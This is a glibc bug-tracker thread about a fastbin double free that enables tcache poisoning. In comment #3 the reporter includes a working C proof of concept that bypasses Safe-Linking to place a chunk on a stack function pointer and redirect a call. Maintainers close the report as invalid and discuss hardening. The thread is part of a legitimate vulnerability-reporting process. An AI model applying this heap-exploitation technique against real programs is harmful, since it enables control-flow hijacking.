[Bug malloc/30881] New: Double Free in fastbin lead to tcache poisoning

[Bug malloc/30881] New: Double Free in fastbin lead to tcache poisoning

[dltkrgksmf at gachon dot ac.kr]

https://sourceware.org/bugzilla/show_bug.cgi?id=30881

            Bug ID: 30881
           Summary: Double Free in fastbin lead to tcache poisoning
           Product: glibc
           Version: 2.38
            Status: UNCONFIRMED
          Severity: normal
          Priority: P2
         Component: malloc
          Assignee: unassigned at sourceware dot org
          Reporter: dltkrgksmf at gachon dot ac.kr
  Target Milestone: ---

Created attachment 15123
  --> https://sourceware.org/bugzilla/attachment.cgi?id=15123&action=edit
glibc 2.38 Code Analysis, Exploitation PoC, and Patch Suggestion in pdf and
html file.

Summary: During analyzing ptmalloc2 in ubuntu 23.04 I found vulnerability that
can lead to fastbin & tcache dup and allocate chunk to the address we want.

I've written (1)glibc 2.38 code vulnerability analysis, (2)exploitation PoC,
(3) video of PoC, and (4).patch suggestion.
I'll attach these in a zip file.

If you require further informations, please contact me anytime.

Thank you for your time.
I look forward to your feedback or any further actions needed from my side.

Warm regards,
dltkrgksmf

-- 
You are receiving this mail because:
You are on the CC list for the bug.

[Bug malloc/30881] Double Free in fastbin lead to tcache poisoning

[dltkrgksmf at gachon dot ac.kr]

https://sourceware.org/bugzilla/show_bug.cgi?id=30881

dltkrgksmf at gachon dot ac.kr <dltkrgksmf at gachon dot ac.kr> changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
           Severity|normal                      |critical

-- 
You are receiving this mail because:
You are on the CC list for the bug.

[Bug malloc/30881] Double Free in fastbin lead to tcache poisoning

[sam at gentoo dot org]

https://sourceware.org/bugzilla/show_bug.cgi?id=30881

Sam James <sam at gentoo dot org> changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
                 CC|                            |sam at gentoo dot org

-- 
You are receiving this mail because:
You are on the CC list for the bug.

[Bug malloc/30881] Double Free in fastbin lead to tcache poisoning

[siddhesh at sourceware dot org]

https://sourceware.org/bugzilla/show_bug.cgi?id=30881

Siddhesh Poyarekar <siddhesh at sourceware dot org> changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
           Priority|P2                          |P3
           Severity|critical                    |enhancement
                 CC|                            |siddhesh at sourceware dot org

--- Comment #1 from Siddhesh Poyarekar <siddhesh at sourceware dot org> ---
Comprehensive double-free checks are not cheap, which is why the malloc
implementation only does a limited amount of checking.  Please feel free to
propose patches on the list if you have ideas to improve this, but AFAICT,
there's no actual exploitable vulnerability here.

I'm leaving this open in case there are further comments, but I'm inclined to
close it unless there is a concrete hardening suggestion that needs to be
discussed here.

-- 
You are receiving this mail because:
You are on the CC list for the bug.

[Bug malloc/30881] Double Free in fastbin lead to tcache poisoning

[dltkrgksmf at gachon dot ac.kr]

https://sourceware.org/bugzilla/show_bug.cgi?id=30881

--- Comment #2 from dltkrgksmf at gachon dot ac.kr <dltkrgksmf at gachon dot ac.kr> ---
Thank you for reaching out.

For the sake of convenience, in the PoC I sent earlier, I malloced and freed a
significant number of chunks (30 chunks). However, to implement this exploit,
you'll need the following:

1. It's possible to exploit the program with just two chunks existing in the
fastbin.
2. If there exists a dangling pointer pointing to a chunk that isn't the most
recently freed chunk in the fastbin, then through a fastbin double free, tcache
dup becomes possible, allowing for heap pointer hijacking.

IMO, if the conditions above are met it becomes exploitable enough.

So I'm gonna suggest a patch.
Here's one question. The loop or comprehensive check "mustn't" be used for a
double free check?

Thank you

-- 
You are receiving this mail because:
You are on the CC list for the bug.

[Bug malloc/30881] Double Free in fastbin lead to tcache poisoning

[dltkrgksmf at gachon dot ac.kr]

https://sourceware.org/bugzilla/show_bug.cgi?id=30881

--- Comment #3 from dltkrgksmf at gachon dot ac.kr <dltkrgksmf at gachon dot ac.kr> ---
```
#include <stdio.h>
#include <stdlib.h>

void pure(){
  printf("I'm PURE :)\n");
}

void poisoned(){
  printf("I'm POISONED :(\n");
}

int main(){
  int i = 0;
  void *ptr[9];
  void (*f)() __attribute__((aligned(0x10))); // it ensures you that address of
'local variable f' to be aligned with 0x10 bytes
                                            // due to ALIGNED_OK mitigation in
tcache_get_n, chunk addr has to be aligned with 0x10 bytes

  f = pure;

  printf("### f() has been executed ###\n");
  f();

  while(i<9){
    ptr[i] = malloc(0x30);
    i++;
  }

  i = 0;
  while(i<9){
    free(ptr[i]);
    i++;
  } // tcache: ptr[6]->ptr[5]->...->ptr[0] && fastbin: ptr[8]->ptr[7]


  free(ptr[7]); // fastbin: ptr[8] -> ptr[7] -> ptr[8] -> ptr[7] -> ... &&
tcache: tcache: ptr[6]->ptr[5]->...->ptr[0]

  i = 0;
  while(i<7){ // clear tcache
          malloc(0x30); 
          i++;
  } // fastbin: ptr[8] -> ptr[7] -> ptr[8] -> ptr[7] -> ... && tcache: none

  long *dup = (long *)malloc(0x30); // ptr[8] malloced && tcache:
ptr[7]->ptr[8]->ptr[7](tcache count == 3)
  *dup = (((long)ptr[7]+0x10) >> 12) ^ (long)&f; // bypassing Safe-Link.
tcache: ptr[7] -> ptr[8] -> f(tcache count == 3)
                                                    // as variable dup is
malloced. So we can access to that variable and write data through bunch of
ways. But I wrote data in variable 'dup' in this way for convenience.
  malloc(0x30); // ptr[7] malloced && tcache: ptr[8] -> f
  malloc(0x30); // ptr[8] malloced && tcache: f

  long *check = (long *)malloc(0x30); //chunk allocated at main stack local
variable f

  *check = poisoned;

  printf("\n### f() has been executed ###\n");
  f();

  return 0;
}
```

It's a Exploit PoC that puts only two free'd chunk into fastbin then makes a
duplicated free'd list in tcache which leads to allocating chunk into the stack
of the main() function.

I wonder insufficient double free check of fastbin isn't a vulnerability.

I am simply asking out of pure curiosity.

-- 
You are receiving this mail because:
You are on the CC list for the bug.

[Bug malloc/30881] Double Free in fastbin lead to tcache poisoning

[fweimer at redhat dot com]

https://sourceware.org/bugzilla/show_bug.cgi?id=30881

Florian Weimer <fweimer at redhat dot com> changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
                 CC|                            |fweimer at redhat dot com

--- Comment #4 from Florian Weimer <fweimer at redhat dot com> ---
(In reply to Siddhesh Poyarekar from comment #1)
> Comprehensive double-free checks are not cheap, which is why the malloc
> implementation only does a limited amount of checking.  Please feel free to
> propose patches on the list if you have ideas to improve this, but AFAICT,
> there's no actual exploitable vulnerability here.
> 
> I'm leaving this open in case there are further comments, but I'm inclined
> to close it unless there is a concrete hardening suggestion that needs to be
> discussed here.

I think we can use the marker word approach that we use to detect tcache
double-free calls to detect fastbin double-free calls. We have to take a lock
to traverse the fastbin list and may have to consolidate this particular
fastbin, but it looks worthwhile to do to me.

-- 
You are receiving this mail because:
You are on the CC list for the bug.

[Bug malloc/30881] Double Free in fastbin lead to tcache poisoning

[siddhesh at sourceware dot org]

https://sourceware.org/bugzilla/show_bug.cgi?id=30881

--- Comment #5 from Siddhesh Poyarekar <siddhesh at sourceware dot org> ---
(In reply to Florian Weimer from comment #4)
> (In reply to Siddhesh Poyarekar from comment #1)
> > Comprehensive double-free checks are not cheap, which is why the malloc
> > implementation only does a limited amount of checking.  Please feel free to
> > propose patches on the list if you have ideas to improve this, but AFAICT,
> > there's no actual exploitable vulnerability here.
> > 
> > I'm leaving this open in case there are further comments, but I'm inclined
> > to close it unless there is a concrete hardening suggestion that needs to be
> > discussed here.
> 
> I think we can use the marker word approach that we use to detect tcache
> double-free calls to detect fastbin double-free calls. We have to take a
> lock to traverse the fastbin list and may have to consolidate this
> particular fastbin, but it looks worthwhile to do to me.

Sounds good.

-- 
You are receiving this mail because:
You are on the CC list for the bug.

[Bug malloc/30881] Double Free in fastbin lead to tcache poisoning

[siddhesh at sourceware dot org]

https://sourceware.org/bugzilla/show_bug.cgi?id=30881

--- Comment #6 from Siddhesh Poyarekar <siddhesh at sourceware dot org> ---
(In reply to dltkrgksmf@gachon.ac.kr from comment #3)
> 
> I wonder insufficient double free check of fastbin isn't a vulnerability.

It's not I'm afraid; heap consistency checks and undefined behaviour checks
(that double free checks essentially form part of) are not comprehensive for
performance reasons.  In the code you share, the security flaw (and hence the
vulnerability) is the fact that there's a double free in there, not the fact
that the checks are insufficient.  We'd love to enhance the latter (like
Florian is attempting to do, I'd encourage you too to share ideas you may have
in this area on libc-help or libc-alpha) as long as the performance overhead is
not that significant.

-- 
You are receiving this mail because:
You are on the CC list for the bug.

[Bug malloc/30881] Double Free in fastbin lead to tcache poisoning

[dltkrgksmf at gachon dot ac.kr]

https://sourceware.org/bugzilla/show_bug.cgi?id=30881

--- Comment #7 from dltkrgksmf at gachon dot ac.kr <dltkrgksmf at gachon dot ac.kr> ---
I believe adding mitigation during the process of fastbin chunks being moved to
tcache when the tcache is empty seems like the best approach. This way, we can
perform double-free or dup checks only under specific conditions when chunks
from fastbin are moved to tcache. This minimizes the impact on program
performance since it only does check in specific condition, and it appears to
be an effective way to prevent the fastbin dup attack scenario I outlined in my
PoC.

I would like to know your thoughts on this approach.

-- 
You are receiving this mail because:
You are on the CC list for the bug.

[Bug malloc/30881] Double Free in fastbin lead to tcache poisoning

[dltkrgksmf at gachon dot ac.kr]

https://sourceware.org/bugzilla/show_bug.cgi?id=30881

--- Comment #8 from dltkrgksmf at gachon dot ac.kr <dltkrgksmf at gachon dot ac.kr> ---
> I think we can use the marker word approach that we use to detect tcache
> double-free calls to detect fastbin double-free calls. We have to take a
> lock to traverse the fastbin list and may have to consolidate this
> particular fastbin, but it looks worthwhile to do to me.

Yeah, me too thought that as a patch suggestion and I wrote it on my initial
patch suggestion in the attached zip file.

```
for (tmp = tcache->entries[tc_idx];
                 tmp;
                 tmp = REVEAL_PTR (tmp->next), ++cnt)
              {
                if (cnt >= mp_.tcache_count)
                  malloc_printerr ("free(): too many chunks detected in
tcache");
                if (__glibc_unlikely (!aligned_OK (tmp)))
                  malloc_printerr ("free(): unaligned chunk detected in tcache
2");
                if (tmp == e)
                  malloc_printerr ("free(): double free detected in tcache 2");
                /* If we get here, it was a coincidence.  We've wasted a
                   few cycles, but don't abort.  */
              }
          }
```

I think so, that this tcache double-free check algorithm can be used in fastbin
too. But I understood Poyarekar's words as this algorithm is a comprehensive
double-free checks and those are not cheap so, we can't introduce it into
glibc.

-- 
You are receiving this mail because:
You are on the CC list for the bug.

[Bug malloc/30881] Double Free in fastbin lead to tcache poisoning

[dltkrgksmf at gachon dot ac.kr]

https://sourceware.org/bugzilla/show_bug.cgi?id=30881

--- Comment #9 from dltkrgksmf at gachon dot ac.kr <dltkrgksmf at gachon dot ac.kr> ---
(In reply to dltkrgksmf@gachon.ac.kr from comment #7)
> I believe adding mitigation during the process of fastbin chunks being moved
> to tcache when the tcache is empty seems like the best approach. This way,
> we can perform double-free or dup checks only under specific conditions when
> chunks from fastbin are moved to tcache. This minimizes the impact on
> program performance since it only does check in specific condition, and it
> appears to be an effective way to prevent the fastbin dup attack scenario I
> outlined in my PoC.
> 
> I would like to know your thoughts on this approach.

Therefore, if these tcache double-free check can't be implemented in fastbin,
I'm suggesting to add a mitigation to the process I mentioned above.

-- 
You are receiving this mail because:
You are on the CC list for the bug.

[Bug malloc/30881] Double Free in fastbin lead to tcache poisoning

[siddhesh at sourceware dot org]

https://sourceware.org/bugzilla/show_bug.cgi?id=30881

Siddhesh Poyarekar <siddhesh at sourceware dot org> changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
         Resolution|---                         |INVALID
             Status|UNCONFIRMED                 |RESOLVED

--- Comment #10 from Siddhesh Poyarekar <siddhesh at sourceware dot org> ---
(In reply to dltkrgksmf@gachon.ac.kr from comment #8)
> > I think we can use the marker word approach that we use to detect tcache
> > double-free calls to detect fastbin double-free calls. We have to take a
> > lock to traverse the fastbin list and may have to consolidate this
> > particular fastbin, but it looks worthwhile to do to me.
> 
> Yeah, me too thought that as a patch suggestion and I wrote it on my initial
> patch suggestion in the attached zip file.
> 
> ```
> for (tmp = tcache->entries[tc_idx];
> 		 tmp;
> 		 tmp = REVEAL_PTR (tmp->next), ++cnt)
> 	      {
> 		if (cnt >= mp_.tcache_count)
> 		  malloc_printerr ("free(): too many chunks detected in tcache");
> 		if (__glibc_unlikely (!aligned_OK (tmp)))
> 		  malloc_printerr ("free(): unaligned chunk detected in tcache 2");
> 		if (tmp == e)
> 		  malloc_printerr ("free(): double free detected in tcache 2");
> 		/* If we get here, it was a coincidence.  We've wasted a
> 		   few cycles, but don't abort.  */
> 	      }
> 	  }
> ```
> 
> I think so, that this tcache double-free check algorithm can be used in
> fastbin too. But I understood Poyarekar's words as this algorithm is a
> comprehensive double-free checks and those are not cheap so, we can't
> introduce it into glibc.

Ah no, we try but none of the checks are comprehensive.

Please feel free to initiate this discussion/post patches on libc-help or
libc-alpha because very few people actually monitor bugzilla actively and you
may not get enough feedback on this.  Do note though that PDFs and other
attachments get filtered out there, so you may want to write it all out in
email/plain text.

For fix submissions, I suggest looking at this guide to help you interact with
the community more effectively:

https://sourceware.org/glibc/wiki/Contribution%20checklist

-- 
You are receiving this mail because:
You are on the CC list for the bug.